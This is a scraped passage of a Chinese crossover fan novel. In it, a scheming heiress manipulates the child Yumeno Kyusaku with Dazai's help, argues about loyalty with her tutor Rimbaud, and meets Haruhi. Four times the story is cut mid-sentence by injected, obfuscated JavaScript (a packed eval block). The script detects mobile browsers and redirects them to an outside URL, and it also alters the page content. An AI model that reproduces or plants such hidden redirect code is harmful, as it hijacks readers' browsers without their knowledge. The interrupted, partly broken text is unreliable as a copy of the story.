像是漫画书看多了的后遗症? 那本红皮书说不定是法器。 14岁,上初中的年纪,正是得中二病的好时候,叛逆点也很正常。琉璃没料想到□□也不能免俗。 还很科学,知道让两个眼睛轮流上岗,平衡视力。 琉璃理解,尊重,当作是太宰治的小众爱好,没再多嘴问过。 外形没有改变的梦野久作,才是她觉得变化严重的那个。 小梦野愁眉苦脸地完成课后作业,气喘吁吁地接受体术锻炼,也越发熟练了撒娇,找到了安稳生活的方法,如同个正常孩子,一步一步长大。 这是琉璃一手促成的,但又不是她想要的效果。 她给梦野提供舒适的成长环境,允许梦野成长得缓慢,但梦野久作大小也算个黑.手.党,他的心不能沉溺于安逸。 持有毁灭性的武器,再让头脑有意识地参战,琉璃才好从中作梗,不让森鸥外完全掌握这种力量。 她要给梦野下点猛药了。 “该你配合我了,太宰先生。” “欸~,是任务需要吗?”太宰治终于定好了只遮挡自己的右眼,再没换过。 琉璃注视着他裸露的那只独眼, “是的,你也发现了吧,梦野在异能力开发上没有什么进取心,需要我们干预。” 她之前提点的那几句没有被孩子完全理解,很正常,她也不介意添油加醋再来一遍。 “是任务啊~,那就不好拒绝了。”太宰治手指交叉托住下巴,袖口往下滑,露出两条缠满绷带的小臂, “我要怎么配合?” “你的话……”还是有点碍眼。 不是在说太宰治。琉璃习惯看着对方眼睛说话,与太宰治的独眼对上还是有点在意。 琉璃:“太宰先生,”手臂的话无所谓,“你这几天绑的都是右眼吧。” 在太宰疑惑的眼神中,琉璃提醒道:“如果你格外钟爱右眼的话,还请一定注意脸部防晒。” 太宰治:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454013|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太宰治:“啊?” 他的大脑延迟转动,“琉璃小姐是……有强迫症吗?” “算是。”琉璃没觉得这个话题跳跃的不对劲,“你的小众爱好应该不包含局部美黑吧。” “颜色之类的,还是和谐点看得更舒服。” 为了眼睛友好,琉璃要提一嘴。太宰治可以随意糟蹋自己,但不要影响到她的视觉感受。 “…哈哈,没想到作为合作方,还要兼顾这种感受啊。”太宰干巴巴地吐槽。 绷带不止遮住了他的眼睛,也掩饰住他星星点点的烦躁。 琉璃不搭理他的情绪,只一味建议: “有劳,当然你也可以放弃缠绷带,反正两只眼睛都完好无损,不是吗? “好无情啊~”太宰治下意识抬手摸了摸绷带,“我的眼睛是真的被弹片划伤过哦,还有点心理阴影呢~” “真是危险。”琉璃眨了眨眼,自觉没有怜悯的义务。 “还以为太宰先生是在后方坐镇的脑力派,原来也要上前线。” 琉璃过于平淡的语气让太宰怀疑她在话里夹带了嘲讽,又找不到证据。 事实上琉璃确实有一些过分的想法,比如太宰治是为了求“死”,主动站在枪林弹雨中让子弹打中的。 原因是中二病瘾犯了,想装B。 但这也都是些无聊的推测,琉璃没那个空闲在太宰治身上发善心安慰,把话题翻了过去: “东久世与药企有合作,已经研制出了一款祛疤效果很好的膏药,有需要可以给你拿几管。” “防晒霜我也可以提供,接下来还是聊一聊梦野吧。” 太宰治:“…嗯呢,感谢您了。” 37度的嘴里是怎么吐出来这么冰冰凉的话的? 他是顺嘴想逗弄一下琉璃,结果对面跟结冰了的湖面一样难起波澜。 ……怎么有种局部降温的感觉呢? * 到了每日的异能力训练时间,梦野久作屁股只压着沙发一半,双臂紧怼着膝盖,圆圆的眼睛里满是专注认真,额头都起了层薄汗。 然而黑洞还是在桌上不紧不慢晃悠着,时不时蹦起来用袖子猛拍梦野两下,左右歪动着脑袋,像是在关心“呆傻”的主人。 根本不疼,但梦野还是委屈捂住被打的部位,印着星星的瞳孔中泛起点点泪花。 一直坚持到时间结束,他才小心翼翼抬眸,显露出泛红的眼眶,不说话。 “……还是没成功啊。”琉璃面无表情,自上而下看着梦野,淡淡道。 梦野闻言一抖,下意识去看旁边摸鱼打游戏的太宰治,又瞬间收回瞳孔垂下脑袋。 不一样了,今天的话不一样了。 梦野有种风雨欲来的直觉,可还是心存侥幸,可怜巴巴的再次抬头, “对不起……”他动了下干涩的喉咙 ,“我下次会更加努力的!” 好乖的孩子,可惜琉璃和太宰都不吃这一套。 梦野比琉璃想象中的更加敏感,仅凭一句她对结果的感慨就察觉到了气氛的变化,却也因此露出马脚。 他在表演努力,并且惧怕被发现。 或许他对现下的生活状态很满足,但总有人会替他不满足。 “太慢了。” 游戏结束,太宰治向后一靠,随手把手机甩在沙发上,猩红眼眸隐着深意,紧锁到梦野身上。 15. 十五颗宝石 宛如平地惊雷,声波砸进耳蜗,梦野久作紧缩住脖子,视线坠落至膝盖,不敢再去看坐在他斜后方的太宰治,任由对方冰冷刺骨的眼神打在他后脑。 太宰嗤笑一声,换了个更舒坦的坐姿,轻佻声调中携带着粗粝的严肃: “琉璃小姐,我们港口Mafia在商业上让出诸多利益,就是期望您把Q培养成才。” “但是现在的进度太慢了,完全看不到希望。” “我们的合作岌岌可危啊~” 话是对着琉璃说的,但一字一句敲在梦野的心上。梦野的身体瞬间僵住,只一顿一顿地抬头,怯怯看向对面的女孩。 琉璃轻轻蹙眉:“这是你的意思,还是森首领的意思?” “不到两周的时间,就想看到结果,是不是太急功近利了?” 太宰治一脸“你怎么会这么想”的疑惑,又恍然大悟般开口: “对了,琉璃小姐没有系统了解过异能力吧。” “港口Mafia可是专门培养异能力者的组织,有着丰富的培训经验,是经过科学的估算预测出的时间哦。” 假的,没这预测能力。 港口Mafia的培养没有精密的临床实验,全是真刀真枪磨出的经验,还得是异能力者上战场自己磨自己,所谓实践出真知啊~ 太宰治像是嫌弃自己的谎言,在梦野的视觉盲区吐了下舌头,继续编道: “Q被关押这么长时间一是组织更新换代抽不出人手,二是在等待琉璃小姐这样高度匹配的磨刀钻石。” “这里面可藏着我们森首领总结的心得啊,两周的时间绰绰有余,Q对异能的控制力应该有明显起色才对……到底是谁偷懒了呢?” 太宰摊手,眸光深谙,“并且我们只需要您帮助Q驯服异能力,您的额外操作太多了。” 场面一下陷入寂静,梦野久作指尖攥的发白,恨不得把自己团成一团,塞进地缝里。 突然感觉脑袋一沉,是黑洞跳趴在他的头发上,胡乱揉搓着安抚。 紧接着,他听到了琉璃的一声轻叹。 “…我知道了,有些话我要跟梦野单独说。” 太宰无所谓应了一声,又有脚步声,关门声,连侍女都一起退了出去,整个空间只剩下琉璃和梦野两个人。 这场戏没白演。 琉璃垂眸看着被养的壮实了一点的男孩,更确定了现在能扰乱他思绪的欲望所在。 欲求也是弱点的一种,她用实现的可能把两人连在一起,就能达到控制的目的。 那她也暂时不去计较太宰治暗戳戳的责怪,说什么她偷懒没把时间都用在梦野身上,无用功做太多了之类的,功过相抵了。 现在是趁热打铁的时间。 “梦野。” “你喜欢现在的生活吗?” 琉璃的声音慢慢挤开紧张的氛围,把梦野包裹住。 梦野怎么想无法昧心给出否定的答案, “……喜欢。” 琉璃:“你知道特异点吗?相互矛盾的异能力发生碰撞干涉,会演化出一种全新的力量,就像我们的异能力同时作用在黑洞身上那样。” “但为什么看不到异常呢?” 琉璃用一副看透了一切的表情混着淡淡疲惫,注视着梦野。 急于解释的梦野张惶失措,拔高了音调: “我真的有很努力,没有在偷懒,琉璃姐姐你一定要信我!” 情绪十分饱满,看似演技很好,但哪哪都是破绽。还有种鸵鸟心态,就算被揭露谎言,也只是知道狡辩,紧握着半张无用底牌,没有勇气去寻找新的出路。 但是才五岁,琉璃看出了梦野的演戏天赋,先把这个念头放到一边,决定后续开发。 她不跟梦野争辩这个,“嗯,我都看在眼里。” “太宰先生说的没错,我也答应了森首领尽快把你培养好。” 假话,就算梦野久作全力以赴,搭上几年都不一定能完成。森鸥外是在赌一份幸运,同时又在业务上跟东久世搭上线,怎么都不亏。 “你的异能力很强大,或许港口Mafia愿意面对屡次失败的结果,用更长的时间等待你成长……但我等不起。” 真话,琉璃没有耐心陪一个没上进心的人过家家,因为梦野是还没被捏出形状的孩子,所以没有直接放弃,换人下手罢了。 “你也能看到,为了成为一个优秀的继承人,我每天都很忙绿,而且现在是春假时间,没有几天就要开学了。” 其实还有一个多月,虽然她不上学,但不妨碍她拿这个当借口。 “我们的相处要到此为止了。” 梦野哑口无言,大脑停摆,怔怔看着琉璃,是下意识对这种情况的不接受。 这是令琉璃满意的表态。 也许梦野是舍不得琉璃在的日子,也许梦野是舍不得琉璃这个人,却都是对琉璃产生了依赖,都是要成为琉璃阵营中棋子的节奏。 琉璃来了些兴致,虚空描绘出甜品, “我的上一位管家很喜欢带我出门研学,你可以理解成边玩边学习。”她的眉眼沉浸入温柔。 “我跟着农业专家下田,学他们分析土壤收割小麦;与地质学家一起进入矿洞,敲下各种类的矿石样本;尝试野外生存,光着脚在湍急的水流里用叉子捕鱼;在众人的陪护下,去静谧的山上滑雪……” 琉璃说的不是多高档的活动,背后对于资金人脉的调动梦野久作还不能完全听懂,但他仍然听得入迷。 “因为我有钱还有时间,所以能够亲手感受自然,亲眼感悟人文,人生的每一分钟都不算浪费。” 琉璃弯起唇角,“这也可以是你未来的人生经历,但如果我们的合作就这样草草终结,你只会回到以前的生活。” 由奢入俭难,琉璃不知道港口Mafia之前是怎样对待梦野的,但100%是没有他现在的生活好,10000%是没有他现在在引导下幻想的,未来的生活好。 梦野藏不住的表情变化也说明了这一切。 “在该使用你异能力的时候,港口Mafia也不会手软,把你当成一个抛掷型的炸弹,只需要等待引爆,事后还活着就回收,没呼吸的话……”就死掉了。 琉璃意犹未尽的话语让梦野忍不住发抖。 这一段话也是半真半假。 其实森鸥外轻易不敢动用梦野,容易招来铤而走险的针对,但只要利大于弊,他也能下得去这个狠手。 琉璃没有安慰梦野,而是板起了脸色,“如果自身没法变得强大,你就是港口Mafia的财产,反之,你才能当一个人。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454014|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦野,你知道这里面的区别吗?” 掰开了揉碎了,琉璃决定相信一次梦野趋利避害的本能,信他能听懂, “就像是剪纸游戏,你是想做那把任人使用的剪刀,还是想当那个拿剪刀的人呢?” 这个问句铿锵有力,琉璃不再说话,她已经说了够多了,只需安静等待梦野的回答。 一分一秒不知过了多久,梦野嘴唇嗫嚅着,终于组织好语言, “我是人类,但是不算在当人吗?……成为人,我就可以过上你那样的生活吗?” 在梦野困惑期冀的眼神中,琉璃理所当然开口:“一定可以。” 就算梦野自己做不到,到时候她也可以帮梦野做到。 这是来自东久世家族下任家主的承诺,梦野隐隐感受到了其中蕴含的力量。 他虽然学习成绩不高,但他是聪明的。 他彻底明白了东久世琉璃不是港口Mafia关在笼子里羽毛艳丽的小鸟,不会因为谁的囚禁留在这里,只会因为自己想在这里,而在这里。 跟他完全不一样,令他羡慕,嫉妒,又喜欢,又想取而代之……可琉璃说,他也可以离开笼子,变成自由的,不是小鸟,是一个自由的人。 原本他已经很满意了,有现在这样经常离开房间,有人陪他做各种事的生活。 但他现在不再满足,他想要更多,他不想被困在地下室的房间里了,再也不要! 这都是因为琉璃,都是琉璃姐姐的错!或者正确,反正他从今往后会努力,而琉璃姐姐要为他负责! 看到梦野眼中燃起的火焰,琉璃再一次开口确定:“所以,你要开始行动了吗?” 答案她已经知道,只是想通过言语的力量再给梦野添一些动力。 这次劝解比想象中更简单。 还会尿床的年龄,就知道在胳膊上绑刀片大闹医院的恶童,果然不是什么懵懂无知的孩子。 不是被压抑的顽固毁灭型人格,还会爱自己,还对未来有期盼,那就好。 那就很好用了。 果然,梦野给了琉璃肯定的答案。 琉璃最后给了梦野一个期限, “最多,我能争取一个月的时间,到时候必须拿出成果了,大概率森首领会给你安排一个任务。” 梦野的心脏鼓动着,他自然把这个当成了兑现未来的时间, “…只要成功了,后面我想干什么都可以吗?”他也不知道自己想干什么,只是想获得这样的权利。 “哈哈…”琉璃被男孩的天真逗笑,她也不会给梦野泼冷水,只说:“到时候拿着结果来找我吧。” 到时候男孩就会知道成长有多艰难,而琉璃会再次诱惑他上路。 伊甸园里的神明张开嘴,却吐出属于毒蛇的信子, “成功了就自由了。” 琉璃抬手摸上梦野独特的黑白发,摸得男孩震惊中瞪圆了双眼,双颊泛起红晕。 还没有人这么心无芥蒂地亲近过他。 琉璃也不知道不小心弄断男孩的头发算不算伤害,会不会触发对方的异能力。 但她心里没有一丁点的担心。 或许是因为黑洞还在她的掌控下,又或许是有了与谢野这个同盟,让她不自觉更大胆了。 这样轻松的感觉,还不赖。 16. 十六颗宝石 房间外的懒人沙发上,太宰治瘫倒在那里继续打游戏,这是独属于他的散漫的小窝。 可现在他怎么躺怎么觉得不对劲,被包裹的身体莫名有种异样的悬浮感,像是沙发上突然冒出来大片细密的毛刺,让他在躺下的时候想避开,却又控制不住无限接近的那一刻。 “……好无聊啊~” 太宰的手指还保持在按键上飞速运动,脱口而出这句感慨抱怨。他觉得又无聊,又安静。 安静到耳朵里的接收器没有发出一丁点的声音。 他试过几次在琉璃身上安放窃听器,但是琉璃换衣服很频繁,而且时不时就开干扰器,所以那些窃听器就相当于报废了,纯是在浪费钱。 今天他不死心,又试了一回,又是一次失败。 “…Q是港口Mafia的员工吧?让我唱白脸也太过分了!”太宰翻了个身,故意提高音量:“不会是故意安排的离间计吧?” 他就是看琉璃的侍女在旁边,才这样大声的发牢骚,却没激起半分水花。 侍女手上动作不停,修修剪剪往瓶口里插花,看似在勤恳工作,其实也是在勤恳工作,从和太宰一起离开房间开始,就在不动声色观察他的动向。 太无聊了,一点多余的反应都没有。太宰在心中哀叹。 在琉璃,以及她周围的人身上,他很少能获得算计到别人的快感,拳拳都打在棉花上。 这位侍女他也认识,经常见,是叫结月,在淋浴间被Q的异能力伤害过的那个,现在还敢来港口Mafia,在Q的身边晃悠。 话说从那次出事养好伤之后,都是结月在贴身照顾琉璃,很少能看见那个叫玲月的侍女,这算什么?迎难而上吗? 琉璃也是,跟Q只相处了几个星期,还都有他在场陪同保护,就竟然敢跟Q单独待在一起,这一对儿主仆都心大的很。 而且拿他太宰治当工具人用吗?说什么话,还要背着他说,他才是琉璃的合作者,现在却把他排除在外,真是过分! 得亏他心善,演戏前里里外外给梦野搜了个身,确定他没有偷摸顺走刀片什么的…… 太宰心里有些烦躁,发泄般把游戏机甩到一边,又因为实在太无聊,爬起身捡回来,继续闯关消磨时间。 看着少年的手脚在懒人沙发里胡乱扑腾着,结月心中泛起淡淡的无语。 这是在干什么?中二病有这种表现形式吗? 港口Mafia还是太危险了,她一定要保护好小姐,牢牢盯紧这些人的一举一动。 结月 is watching……you ! 通关三个关卡的时间,梦野久作和琉璃走出了房门。 没有了揉脑袋时的亲昵,在太宰治面前,琉璃还是先跟梦野保持原先的距离。 太宰治瞬间起身,只扫了两人几眼,没什么想说的,急忙带着梦野下班去了。 不过几秒,只剩下侍女小声地在琉璃耳边报告太宰的举动。 琉璃没听出什么问题,也没再去揣测太宰的心理。 乱步的那一顿输出在琉璃心里还是太权威了,琉璃收回了自己多余的关注,想法也更加清晰,果断。 也不管森鸥外那边如何看待她主动要求给梦野提速的动机,见招拆招就好。 解决完梦野久作,琉璃过上了一段可以称之为舒心的日子。 她照常上自己的课,只不过在培养梦野的时候稍微动点心思,耍一些小手段。 比如说控制黑洞停顿一下,让梦野以为自己成功了,又让黑洞有一些失灵的表现,促使梦野加强意念。 就像是在教梦野开车,琉璃把一个虚假的方向盘交到他手里,看似让他主导,其实是为了让谎言更真实,如同镜花水月。 还要给他增添一些可以翻越的障碍,再加一点成功后的及时反馈,在梦野追着“甜品”前进的同时,不至于让他的动能被耗尽。 森鸥外给她推荐的这位文学老师,琉璃也是越相处越满意。两人彻底把名著研读变成了辩论场。 今天的文学著作是有关反战主题的悲惨人生故事。 主角的国家主动挑起事端,向邻国发难,主角作为军人必须严格服从国家的命令,但他看清楚了战争的真相,骗不了自己,心灵倍受煎熬。 两人照常在交流中定位自己的立场,开始辩论。 反常的是兰堂没有把选择权留给琉璃,自己率先站在了国家的一方。 “国家所做的一切都是为了集体的利益,就算是错误的,但主角是军人,身为军人就应该服从国家的一切命令,这是他的职责。” 细密的眼睫盖住了小半眼眸,兰堂看着有些有气无力,但语气却很坚定,不像是在辩论,而是在盖棺定论。 琉璃发现了这细微的变化,但还是按照往常的节奏反驳: “可心灵上的煎熬不是简单就能被粗鲁的现实覆盖的。” “而且不是只有战争这一个途径能得到国家想要的东西,只不过是选择了最恃强凌弱的做法。” 兰堂没有动摇,口吻不容置疑: “国家需要如此运转,民众只需要相信它,军人更该这样,公信力容不下瑕疵。” “要么在决定之前改变,要么就只能服从,这就是国家的力量。” 这没什么可辩驳的,兰堂确定这样正确。 大到国家,小到组织,森鸥外也希望琉璃对港口Mafia产生这种归属感,他也按照森首领所期待的,趁机给琉璃灌输这样的忠诚理念。 只不过他完成的并不走心,说的生硬,像是一个顽固的老学究。 琉璃不会被这种发言震慑。 拿公信力举例,应该是值得信任才被信任,而不应该是需要被信任才去信任,这是本末倒置。 但这世界上有很多这样本末倒置的事情发生,已经是常态。 常态不代表是正确的,所以琉璃也在排查自己,是不是把一些习以为常的想法当做真理对待了。 …比如说认为黑.手.党成员比起国家,更忠于自己的组织。 兰堂现在就像极了“国家”这个概念的脑残粉。 琉璃手指翻动着书页,看似在找论据支撑自己,其实思绪已然飘远。 她拿到了兰堂的资料,确实是查到了一些有意思的东西,例如兰堂原名阿蒂尔·兰波,是来自欧洲的异能谍报员,有一个叫保尔·魏尔伦的固定搭档,来霓虹是为了夺取异能生命体“荒霸吐”。 任务具体的执行情况不得而知,但肯定与创造出擂钵街的那场大爆炸有关。 兰堂这条线查不下去,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454015|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以从荒霸吐那边入手。 这个实验非常烧钱,有人大胆挪用了东久世家族投给异能特务科的资金,被发现,那按照合约,一部分信息也共享给了东久世家族。 所以琉璃知道那场爆炸是源于荒霸吐的失控。 所以荒霸吐失控的原因是什么?是兰堂和他搭档的手笔? 资料上有写他的搭档魏尔伦也是人造异能生命体。两人对于荒霸吐是操作失误,还是发生了难以解决的分歧? 具体情况并不难猜,只要再给琉璃一点思考的时间,或者直接去问江户川乱步。 可琉璃觉得没必要了解的这么深入,只不过是她活跃的大脑自主完成了这一系列推理。 兰堂就算失忆了还对国家保持着如此高的忠诚度,是个执着的人,对港口Mafia的忠心程度就很微妙了。 琉璃还不打算用兰堂做什么。他就像是一个定时炸弹,还不方便握在手里。 回归正题, “确实,最好的方法就是在国家做决定之前成功否定这种行为。” 去否定故事发生的前提,是琉璃用于调转思绪的没话找话。 “兰堂先生认为,即使命令是错误的,也要抛弃良心执行。但我的观点是,人不是机器,道理明白的再透彻,情感也还是会让行动产生偏移。” 琉璃没有了辩论的心思,她有点更好奇的想了解, “当看到对面保家卫国的士兵,是会羞愧到无法开枪的吧?” 兰堂蹙眉,满脸的排斥,“等到了战场上再心慈手软,死掉的只会是自己的同伴。” 他是个绝对的理性派,选择在面对之前理清楚自己的全部情绪,不被突发的情感操控,而走出一条最“清晰”的道路。 在这种危急关头,如果有人要受伤,那一定不能是自己人。琉璃从兰堂的话里读出了这个意思。 所以她好奇的是,“那如果站在对立面的,是亲密无间的朋友呢?” 琉璃想把兰堂推到悬崖边。 “我的朋友跟我应当是同阵营。”兰堂不接,并立刻向后退一步。 琉璃没有放弃,“就当是一个国家的,就当是不会交外国朋友。” “如果朋友选择站在情绪的那边,走到对立面,与你枪炮相向,那怎么办?” 也许琉璃是在期待,期待她这位永远保持冷静的老师,会不会有一些世俗上的动容。 “那不能称之为我的朋友。” 铿锵有力,兰堂瞬间给出否定答案,完全不想聊,不想思考这种可能。 但这种答案已经足够了。 琉璃像是被塞了一口清爽的西瓜,见证着生活中根本没有真心朋友的兰堂,给“幻想”出的朋友上这么大的压力。 看得出他的朋友有多么让他在意了。 琉璃想说“有时候想法是想法,事实是事实”,但还是撤回了这一盆冷水,不再给她的老师上强度。 兰堂却自觉反应有点大,太绝对,找补一句: “…也可能是有什么误会。” 反战的事情能有什么误会? 琉璃吃瓜吃的惬意,现在她和兰堂都不在谈论手里这本书籍。 能给失忆人士的头脑造成这么大的影响,那个朋友对兰堂的重要性,琉璃盖章认证了。 17. 十七颗宝石 一共没交流几句,远远赶不上之前的课堂激烈,但兰堂还是觉得精力消耗过大,身体有些不适,太阳穴都突突的蹦跳着泛疼。 他又紧了紧自己不愿意脱下的大衣,拨露出手表,盘算着还有多久能下课去休息。 琉璃没有为难病人的爱好,大方表示今天可以提前结束,放兰堂走了,也当是多给自己半节课的休息时间。 而没被谈论完的书籍估计也不会有下一次被谈论的机会,结局是主角患上战后创伤在家中自杀,没有人能在战争中善始善终。 琉璃合上书页,规整放回书架。 想着港口Mafia里面的人都有故事的很,说不定能汇成一本纪实文学,卖出爆款呢? * 走廊中,太宰治迎面碰见兰堂,眯着眼眸和善地开口问好: “兰堂先生,好巧,你下班了?” “…是的,下课了。” 兰堂手指揉摁着太阳穴,一步一步走的若有所思,面上流露出几不可见的痛苦,听到太宰出声还有几分恍惚。 太宰继续客套:“这么早就下课了吗?” 他今天任务结束的早,还想着过来听琉璃跟兰堂“吵架”,蹭点吃的喝的,打发时间。 “你的身体…还好吧?”太宰看出了兰堂的虚弱。 兰堂不愿跟太宰多讲,搪塞过去:“是有点不舒服,我先走了。” 两人擦肩而过,流动的衣摆险些碰撞到一起,太宰也顺手在兰堂的衣服上粘了一枚定位器。 这是他新入手的设备,正好找个人试验一下。 以前他跟兰堂没什么交集,对这个病美人不感冒,现在也是因为森鸥外和琉璃,他才会关注到港口Mafia里这位神秘的外国人。 今天趁兰堂魂不守舍,刚好钻个空子,说不定会带给他意想不到的惊喜。 港口Mafia里有秘密的人很多,而他有兴趣知道所有人的秘密。 太宰治脚步轻快,迈入专属于琉璃的区域,迎面是馥郁的芳香,细细嗅闻却清甜淡雅,只轻轻拥住他,令他心旷神怡。 不知不觉,他已经习惯了这种香气,习惯在其中放松,来找琉璃也不像之前那么抗拒。 推门而入,就如同一脚迈进阳光下的树荫,窸窸窣窣,有摇晃着的温热光斑落在皮肤上。 当然,他来都来了,也贪心想获得进一步的放松。 “日安,琉璃小姐。” “最近梦野的积极性提高了很多,我是不太了解其中的关窍,所以为了更加准确完善,就麻烦您跟我一起完成任务报告了~” 都避着他是吧~ 那工作他也要当仁不让的甩出来一些喽~ * 时间是不会停止行进的马车,春假就在晃晃悠悠中结束了。 一般琉璃会特别在开学日去学校一趟,刷个存在感,但为了让梦野多一些时间紧迫的危机感,她决定拿出在校生的样子,多在学校上几天课。 不知道是向来如此,还是因为有琉璃这个一到考试就突然降临考场,猛刷最高分的樱兰小学部十大怪谈之一存在,老师们的教学热情非常高涨,变着花样地提问学生。 同学们的积极性也根本不用调动,非常踊跃,教室里热闹的像是在竞选什么压场的才艺表演。 琉璃也想多体验几天校园时光,但还是有些受不了同学们一层一层地围着她吵闹,自然而然选择了去高中部的男子公关部躲清净。 跟前辈们维系感情,也算是校园生活的一环吧~ 琉璃越想越觉得男子公关部是一个好去处。 学长学姐们总不会像毛头小子一样热情的只围着她打转。他们拥有年龄赋予的成熟和矜持,行动上也多了顾忌,不会因为一时的个人喜好乱朝着人摇尾巴。 就算是有过于热切的眼神,也能很好的被专业的男公关前辈们分散,毕竟大家来到樱兰男子公关部,是想享受年轻貌美,会说话的男人的。 琉璃在高中部悠闲度过了几天,又是一天过去,公关部竟然添了位新成员。 “小琉璃,这是我们的新部员藤冈春绯,要不要指名他陪你呢?” 须王环一路把人推到琉璃面前,朝她倾情推荐。 前几天须王环都是该忙什么忙什么去了,让琉璃自己在旁边随意就好。 今天用这么期待闪亮的眼神看着琉璃,琉璃有理由怀疑是凤镜夜终于忍不住用话术骗须王环出面,想从她的兜里赚钱了。 琉璃面上不显,暗自观察这位新来的前辈。 长相秀气,气质温润,有着雌雄莫辨的亲和力,散发着中性魅力,不像是个话多大嗓门的人,她不排斥与之相处。 没用须王环再说出什么浮夸的词藻推荐,琉璃合上手里的书,点头应下:“好啊,正好我想找人聊天呢。” “…啊,好,那你们聊~” 须王环也没反应过来会这么顺利,跑到嘴边的话又咽了回去,一步一回头地向着自己的客人走去。 常陆院家的双生子故意路过。 光:“我们的殿下难不成是安了假肢吗?” 馨:“龟兔赛跑里的乌龟过来走路,都比较快呢~” 嘴痒吐槽完这两句两人就跑了,一点也不给须王环还嘴的机会。 在场的是个人都应该能看出来,刚刚还在认真读书的琉璃没有那么想找人聊天。 现在就坐在琉璃身边的春绯更是比谁都清楚这一点。 她有点尴尬,还有点拘谨。 身为女生却被要求成为男公关打工还债,她能接受,但她觉得自己还需要正规的培训,而不是在没有经验的时候,去打扰一个安静读书的人。 她知道须王环是好意,让她先拿小女孩练练手。 但是富贵人家看着就教养满分的小女孩,不就是从日常生活还是校园经历都跟她没有共同话题的存在吗? 春绯觉得自己面对的是blingbling闪着光的棘手难题。 琉璃就没有这么多顾忌,看春绯不知道如何开口,自然拿过话题的主导权, “前辈,怎么会想到加入男子公关部呢?” 春绯笑的有点勉强,“因为不小心摔碎了公关部内摆放的拍卖品,需要工作还债。” 琉璃惊讶:“竟然是这样吗?” 春绯半垂下脑袋,更显无害,“嗯,我是特招生,家里并不富裕,能像这样用打工抵赔偿,我很感激前辈们了。” “哦……”琉璃下意识表现出怜悯。 真是个诚实的前辈,问什么就说什么,没问的也主动往外讲。 放在男子公关部里当摆件的拍卖品再贵能贵到哪里去?不用春绯说,琉璃也清楚他家里没什么资产了。 琉璃微笑着活跃气氛: “那前辈学习好厉害,我记得特招生要考很高的分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454016|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数才能进入樱兰。” “而且公关部里的学长们都是很好的人,您会在这里收获很棒的友谊的。” “应该…是吧。”春绯的脑海中闪过那几张帅气可爱的面庞,因欠债而动荡的心脏也稍稍安稳下来。 春绯微微弯起眼眸,口吻变得亲近:“琉璃,你很会聊天呢。” “有吗?”琉璃被说得愣了一下。 冷不丁听到这么一句,像是突然被温顺的食草动物进攻,看到乖巧的兔子猛得亮出锋利的板牙。 春绯有些不好意思地抠着脸解释: “跟琉璃聊天感觉很舒服,感觉对不起你在我身上花的点名费,应该我花钱找你聊天才对。” “虽然我没什么钱就是了。” 春绯的目光逐渐放平稳,说的真心实意,最后还带了点俏皮。 无论是从长相上,还是谈吐上,跟琉璃聊天她都觉得是自己赚到了。 谁会不想跟温温柔柔会说话的天使版仿真洋娃娃谈心呢? “公关部的前辈们也一直在夸琉璃,尤其是须王前辈和Honey前辈。” “当然了,我也很喜欢琉璃。”彻底变轻松的春绯笑着打出一记直球。 琉璃的大脑空白了几秒,她还没遇到过春绯这样的难以形容的人,迟钝着表演出开心与淡淡羞怯, “我也很喜欢大家,来到公关部就像回到家里一样安心,不愧是能让人感受到幸福的乌托邦。” 说的有几分真心实意,但琉璃做不到春绯那样的全心全意。 春绯直白坦然的状态,让琉璃有些说不清道不明的别扭。 还没等她分析出什么,春绯手臂压着桌面,认真看进她的眼睛,话头一转: “但是不被夸奖也没关系。” “只要琉璃自己开心,变得任性闯祸都没关系。” “公关部的大家全部都会继续喜欢琉璃的。” ……男公关的话术都如此恐怖吗? 一时琉璃的脑袋里只剩下了这句话。 藤冈春绯真的像个前辈一样,担忧她的夸奖里会隐藏对于乖巧听话的赞扬,会给琉璃套上懂事的枷锁。 她没看出来琉璃在故意表演情绪,只是不希望琉璃为了迎合别人,丢失自己。 事实上琉璃也不喜欢演戏。 但是她表演出来的孩子的天真,也不是什么委曲求全,而是因为她本来就是个孩子,才会用最符合这个年龄的稚嫩来包装自己。 